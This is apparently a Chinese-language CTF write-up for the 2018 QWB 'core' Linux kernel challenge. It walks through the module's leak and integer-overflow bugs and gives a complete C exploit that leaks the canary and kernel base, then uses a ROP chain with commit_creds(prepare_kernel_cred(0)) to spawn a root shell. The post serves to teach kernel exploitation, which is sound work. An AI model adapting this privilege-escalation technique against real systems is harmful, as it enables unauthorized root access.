强网杯2018 - core

这里主要记录一下做这个题的全流程、遇到的困难、解决方法,供后来者参考,同时也加深自己的记忆。

所以本篇没有知识,只是做题过程

参考文献

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#例题:强网杯2018-core

题解

解压

首先拿到题目第一步是把core.cpio解压出来看看里面的东西。

cpio -idm < ./core.cpio

但是报错了



如图所示,这是因为他并不是cpio格式,需要先gunzip一下

$ mv core.cpio core.cpio.gz
$ gunzip core.cpio.gz

查看init

在解压出的文件夹里有init

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys poweroff -d 0 -f

可以看到有insmod /core.ko,那后门程序大概率就是他了。

查看程序

可以先查看ioctl函数,也就是core_ioctl。

void __fastcall core_ioctl(__int64 a1, int op, __int64 reg1)
{
switch ( op )
{
case 0x6677889B:
core_read(reg1);
break;
case 0x6677889C:
printk(&unk_2CD);
off = reg1;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(reg1);
break;
}
}

可以看到是一个菜单,对core_ioctl在ida里按x交叉引用可以找到core_fops



有什么用就算是前置知识了,自行理解,那么这里可以看到还有一个core_write,说明能直接调用write,查看write。

void __fastcall core_write(__int64 fd, __int64 data, unsigned __int64 len)
{
printk(&unk_215);
if ( len > 0x800 || copy_from_user(&name, data, len) )
printk(&unk_230);
}

发现是一个写入到name的操作。

继续看ioctl

void __fastcall core_read(__int64 reg1)
{
char *kk; // rdi
__int64 n16; // rcx
char str[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+40h] [rbp-10h] v5 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
kk = str;
for ( n16 = 16; n16; --n16 )
{
*(_DWORD *)kk = 0;
kk += 4;
}
strcpy(str, "Welcome to the QWB CTF challenge.\n");
if ( copy_to_user(reg1, &str[off], 0x40) )
__asm { swapgs }
}

这里off可控,那么可以进行对canary和内核地址的泄露。

void __fastcall core_copy_func(__int64 reg1)
{
_QWORD buf[10]; // [rsp+0h] [rbp-50h] BYREF buf[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( reg1 > 0x3F )
printk(&unk_2A1);
else
qmemcpy(buf, &name, (unsigned __int16)reg1);
}

这里有整型溢出,然后可以进行ROP

那么思路就是先泄露canary,然后rop提权。

撰写脚本

内核题目用c语言写脚本

这里直接给出脚本,之后会一一解释

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h> void spawn_shell()
{
if(!getuid()){
system("/bin/sh");
}
else{
puts("[*]spawn shell error!");
}
exit(0);
} // 保存用户态
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved."); } int main(){
save_status();
int sh = open("/proc/core",2);
if(sh < 0){
printf("文件打开错误!\n");
exit(0);
}
printf("文件打开成功!\n"); char buf[0x50];
ioctl(sh, 0x6677889C, 0x40);
ioctl(sh, 0x6677889B, buf);
size_t canary = ((size_t*) buf)[0];
size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1;
printf("canary : %lx\n",canary);
printf("kernel_base : %lx\n",kernel_base); size_t commit_creds = kernel_base + 0x9C8E0;
size_t prepare_kernel_cred = kernel_base + 0x9CCE0;
size_t pop_rdi = kernel_base + 0x00b2f;
size_t pop_rdx = kernel_base + 0xa0f49;
size_t pop_rcx = kernel_base + 0x21e53;
size_t MOV_RDI_RAX_CALL_RDX = kernel_base + 0x1aa6a;
size_t swapgs_popfq_ret = kernel_base + 0xa012da;
size_t iretq_ret = kernel_base + 0x50ac2;
size_t rop[0x100];
int i = 0;
for (i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = pop_rcx;
rop[i++] = MOV_RDI_RAX_CALL_RDX;
rop[i++] = commit_creds;
rop[i++] = swapgs_popfq_ret;
rop[i++] = 0;
rop[i++] = iretq_ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp + 8; // rsp
rop[i++] = user_ss; // ss printf("rop ok!\n"); write(sh, rop, 0x800); printf("write ok!\n"); ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100)); printf("copy ok!\n"); return 0;
}

编译使用静态编译

gcc ./exp.c -o exp -static -masm=intel

打包运行

如何把exp塞进内核运行环境呢?

和init的同目录下存在gen_cpio.sh的文件,这个就是用来打包的。

./gen_cpio.sh ../core.cpio

运行则是直接运行start.sh文件即可。

调试

怎么调试呢?

这里需要先把init中setsid /bin/cttyhack setuidgid 1000 /bin/sh变为setsid /bin/cttyhack setuidgid 0 /bin/sh咱门需要高权限来调试。

在start.sh中加入-s参数。

之后在运行环境中执行

cat /sys/module/core/sections/.text

便可以获得core.ko的test段地址,那么使用如下sh脚本

gdb \
-ex "add-symbol-file $1 $2" \
-ex "target remote localhost:1234" \
-ex "set debug kernel" \
-ex "b* core_copy_func+0x3b" \
-ex "c" \

使用只需要 ./gdb.sh ./core.ko [cat的值]即可启动pwngdb

我的pwngdb不能ni和si,所以只能一点一点打断点调试

exp详解

到这里大概就可以自己做了,可以先试着自己调试。

接下来是exp的详解

save_status();
// 保存用户态
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

注释也写了,是用来保存用户态数据的,因为在rop执行完返回到用户态需要用到这些参数。

	int sh = open("/proc/core",2);
if(sh < 0){
printf("文件打开错误!\n");
exit(0);
}
printf("文件打开成功!\n");

对于/proc/core,为什么在proc和为什么打开它,这里只需把https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/ 看完自会理解。

	char buf[0x50];
ioctl(sh, 0x6677889C, 0x40);
ioctl(sh, 0x6677889B, buf);
size_t canary = ((size_t*) buf)[0];
size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1;
printf("canary : %lx\n",canary);
printf("kernel_base : %lx\n",kernel_base);

泄露canary和内核基地址,这里主要看0x1dd6d1偏移的得来。

使用程序输出后可以使用cat /proc/kallsyms | grep " _text\| startup_64\| startup_32"来查看内核地址。

之后相减即可得到偏移。

	size_t commit_creds = kernel_base + 0x9C8E0;
size_t prepare_kernel_cred = kernel_base + 0x9CCE0;
size_t pop_rdi = kernel_base + 0x00b2f;
size_t pop_rdx = kernel_base + 0xa0f49;
size_t pop_rcx = kernel_base + 0x21e53;
size_t MOV_RDI_RAX_CALL_RDX = kernel_base + 0x1aa6a;
size_t swapgs_popfq_ret = kernel_base + 0xa012da;
size_t iretq_ret = kernel_base + 0x50ac2;
size_t rop[0x100];
int i = 0;
for (i = 0; i < 10; i++)
{
rop[i] = canary;
}
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = pop_rcx;
rop[i++] = MOV_RDI_RAX_CALL_RDX;
rop[i++] = commit_creds;
rop[i++] = swapgs_popfq_ret;
rop[i++] = 0;
rop[i++] = iretq_ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp + 8; // rsp
rop[i++] = user_ss; // ss
printf("rop ok!\n");
write(sh, rop, 0x800);
printf("write ok!\n");
ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100));
printf("copy ok!\n");

栈溢出打ROP,执行commit_creds(prepare_kernel_cred(NULL)),片段的偏移可以查看vmlinux,函数直接放到IDA中查看。

完结

但这里就算是完事了,总的来说刚开始跟用户态rop还是大致上一样的。

kernel pwn入门 强网杯2018 - core的更多相关文章

  1. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

  2. 强网杯2018 pwn复现

    前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...

  3. kernel pwn 入门环境搭建

    刚开始上手kernel pwn,光环境就搭了好几天,应该是我太菜了.. 好下面进入正题,环境总共就由两部分构成,qemu和gdb.这两个最好都需要使用源码安装. 我使用的安装环境为 qemu:安装前要 ...

  4. 【强网杯2018】Gamebox

    参考: https://www.cnblogs.com/hac425/p/9416787.html http://tacxingxing.com/2018/03/28/2018qwb/ 事后复盘pwn ...

  5. 强网杯2018 Web签到

    Web签到 比赛链接:http://39.107.33.96:10000 比赛的时候大佬对这题如切菜一般,小白我只能空流泪,通过赛后看别人的wp,我知道了还有这种操作. 这个赛题分为3层 第一层 Th ...

  6. 【强网杯2018】逆向hide

    这是事后才做出来的,网上没有找到现成的writeup,所以在这里记录一下 UPX加壳,而且linux下upx -d无法解,也无法gdb/ida attach 因为是64位,所以没有pushad,只能挨 ...

  7. Kernel pwn 基础教程之 ret2usr 与 bypass_smep

    一.前言 在我们的pwn学习过程中,能够很明显的感觉到开发人员们为了阻止某些利用手段而增加的保护机制,往往这些保护机制又会引发出新的bypass技巧,像是我们非常熟悉的Shellcode与NX,NX与 ...

  8. Roslyn 入门:使用 .NET Core 版本的 Roslyn 编译并执行跨平台的静态的源码

    Roslyn 是微软为 C# 设计的一套分析器,它具有很强的扩展性.以至于我们只需要编写很少量的代码便能够编译并执行我们的代码. 作为 Roslyn 入门篇文章之一,你将可以通过本文学习如何开始编写一 ...

  9. CTF必备技能丨Linux Pwn入门教程——ShellCode

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...

  10. CTF必备技能丨Linux Pwn入门教程——环境配置

    说在前面 这是一套Linux Pwn入门教程系列,作者依据Atum师傅在i春秋上的Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 问:为 ...

随机推荐

  1. vue-vuex中使用commit提交mutation来修改state的原因解析

    https://blog.csdn.net/a460550542/article/details/82620457 在vuex中,关于修改state的方式,需要commit提交mutation.官方文 ...

  2. 对 Chrome/V8 堆内存限制的研究

    https://zhuanlan.zhihu.com/p/567115829 开局直接放结论,具体的验证过程比较无聊,有兴趣的可以翻到后面细看. 堆内存的限制是由 V8 来设置的. 早期的时候,V8对 ...

  3. 字符集bytes

    # 2.bytes # 程序员平时遇到的所有的数据最终单位都是byte字节(0111000)__0和1表示1位 # # s = "周杰伦" # bs1 = s.encode('gb ...

  4. 海康摄像头通过SDK接入到LiveNVR实现双向语音喊话对讲与网页无插件播放,并支持GB28181级联语音对讲

    @ 目录 1.确认摄像头是否支持对讲 2.摄像头视频类型复合流 3.通道配置SDK接入 4.视频广场点击播放 5.相关问题 5.1.如何配置通道获取直播流? 5.2.如何GB28181级联国标平台? ...

  5. 大模型官网API说明文档

    chatGPT API说明 OpenAI开发系列(六):Completions模型的工作原理及应用实例(开发多轮对话机器人) LangChain langchain官网 Langchain-Chatc ...

  6. 【译】GitHub Copilot for Azure(预览版)已经在 Visual Studio 2022 中推出

    适用于 Azure 的 GitHub Copilot 扩展现已在 Visual Studio 2022(17.14及以上版本)中进入公开预览阶段.它通过 Azure MCP 服务器提供了一组精心挑选的 ...

  7. 【译】让性能民主化:Copilot Profiler Agent 在实际代码中的应用

    我们很高兴地宣布,Copilot Profiler Agent 已在 Visual Studio 2026 Insider 中推出,它是一款直接内置在 Visual Studio 中的人工智能性能助手 ...

  8. 直播协议详解 RTMP、HLS、HTTP-FLV、WebRTC、RTSP

    直播协议详解 rtmp.http-flv.hls.web-rtc.rtsp 本期我们详细讨论直播的相关协议,包括:HTTP-FLV.HLS.RTMP.Web-RTC.RTSP等等.我们将会详细介绍这些 ...

  9. git安装与版本升级

    下载 在官网下载git速度太慢,可在淘宝有一个镜像网站下载, https://registry.npmmirror.com/binary.html?path=git-for-windows/ 进入网站 ...

  10. deepseek-v3.2-exp: 节前发版之打工人的悲鸣

    节前发版:Deepseek v3.2 exp 加班快乐... 论文原文 架构 与Deepseek-V3.1相比,新一般的架构更改仅仅在后续训练中引入了新的稀疏注意力机制DSA. DSA:deepsee ...